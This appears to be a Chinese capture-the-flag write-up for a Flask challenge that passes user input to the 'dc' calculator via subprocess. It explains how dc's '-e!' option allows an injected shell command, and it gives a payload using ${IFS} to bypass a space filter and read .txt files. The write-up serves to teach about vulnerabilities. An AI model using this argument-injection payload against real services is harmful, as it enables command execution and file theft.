import sqlite3
import subprocess

from flask import Flask, request, render_template

app = Flask(__name__)

@app.get('/')
def index():
sequence = request.args.get('sequence', None)
if sequence is None:
return render_template('index.html')

script_file = os.path.basename(sequence + '.dc') #构造脚本名,将sequence和.dc字符串连接起来,并获取路径中的文件名部分。
if ' ' in script_file or 'flag' in script_file:
return ':('

proc = subprocess.run( #运行dc命令
['dc', script_file],
capture_output=True,
text=True,
timeout=1,
)
output = proc.stdout

return render_template('index.html', output=output)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)

1
2
3
4
5
6
7
8
subprocess.run(args, *, stdin=None, input=None, stdout=None, stderr=None, capture_output=False, shell=False, cwd=None, timeout=None, check=False, encoding=None, errors=None, text=None, env=None, universal_newlines=None)

args:表示要执行的命令。必须是一个字符串,字符串参数列表。
stdin、stdout 和 stderr:子进程的标准输入、输出和错误。其值可以是 subprocess.PIPE、subprocess.DEVNULL、一个已经存在的文件描述符、已经打开的文件对象或者 None。subprocess.PIPE 表示为子进程创建新的管道。subprocess.DEVNULL 表示使用 os.devnull。默认使用的是 None,表示什么都不做。另外,stderr 可以合并到 stdout 里一起输出。
timeout:设置命令超时时间。如果命令执行时间超时,子进程将被杀死,并弹出 TimeoutExpired 异常。
check:如果该参数设置为 True,并且进程退出状态码不是 0,则弹 出 CalledProcessError 异常。
encoding: 如果指定了该参数,则 stdin、stdout 和 stderr 可以接收字符串数据,并以该编码方式编码。否则只接收 bytes 类型的数据。
shell:如果该参数为 True,将通过操作系统的 shell 执行指定的命令。

subprocess.run()shell没等于TRUE但是容易受到参数的影响

在kali里用man命令看dc的文档

-e!可以执行命令,空格被过滤了,用其他符号绕过,在最后需要加上%0a表示输入了ENTER

payload:?sequence=-e${IFS}!cat${IFS}*.txt%0A

得到flag:crew{10 63 67 68 101 107 105 76 85 111 68[dan10!=m]smlmx}

放到kali里用dc命令转换为真实的flag